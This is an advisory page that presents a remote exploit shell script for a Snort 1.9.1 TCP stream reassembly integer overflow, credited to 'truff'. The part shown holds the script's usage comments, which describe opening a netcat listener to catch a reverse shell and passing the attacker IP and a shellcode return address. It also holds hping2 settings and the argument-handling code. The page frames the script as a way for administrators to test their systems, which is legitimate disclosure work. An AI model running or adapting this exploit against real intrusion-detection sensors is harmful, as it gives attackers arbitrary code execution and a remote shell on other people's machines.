As we reported in our previous article: Snort TCP Stream Reassembly Integer Overflow Vulnerability, a vulnerability in Snort allows attackers (remote and local) to cause the product to execute arbitrary code by overflowing a value the program uses. The following exploit code can be used to test an administrator's system for the mentioned vulnerability.
Credit:
The information has been provided by truff.
##########################################################
# p7snort191.sh by truff (truff@projet7.org) #
# Snort 1.9.1 and below remote exploit #
# #
# Tested on Slackware 8.0 with Snort 1.9.1 from sources #
# #
# Usage: #
# 1/ Launch a listening netcat to listen for the shell #
# nc -p 45295 -l #
# #
# 2/ p7snort119.sh yourIP [Ret_Addr] #
# #
# Where yourIP is the IP where the netcat is listening #
# and Ret_Addr is the address (8 hexa digits) of the #
# shellcode (eg: 0819fec2) #
# #
# #
# This vulnerability was discovered by Bruce Leidl, #
# Juan Pablo Martinez Kuhn, and Alejandro David Weil #
# from Core Security Technologies during Bugweek 2003. #
# #
# Greetz to #root people and projet7 members. #
# Special thx to mycroft for helping me with shell #
# scripting stuff. #
# #
# www.projet7.org - Security Researchs - #
##########################################################
# Put here the path to your hping2 binary
HPING2=/usr/sbin/hping2
# You should change these params to make the snort sensor
# capture the packets.
IPSRC=192.168.22.1
IPDST=192.168.22.2
PTSRC=3339
PTDST=111
echo "p7snort191.sh by truff (truff@projet7.org)"
case $# in
0)
echo "Bad number of params"
echo "Read comments in sources"
exit -1
;;
1)
RET=0819fec2
echo "Using default retaddr (Slackware 8.0)"
echo $RET
;;
2)
RET=$2
echo "Using custom retaddr"
echo $RET
;;
*)
echo "Bad number of params"
echo "Read comments in sources"
exit -1
;;
esac
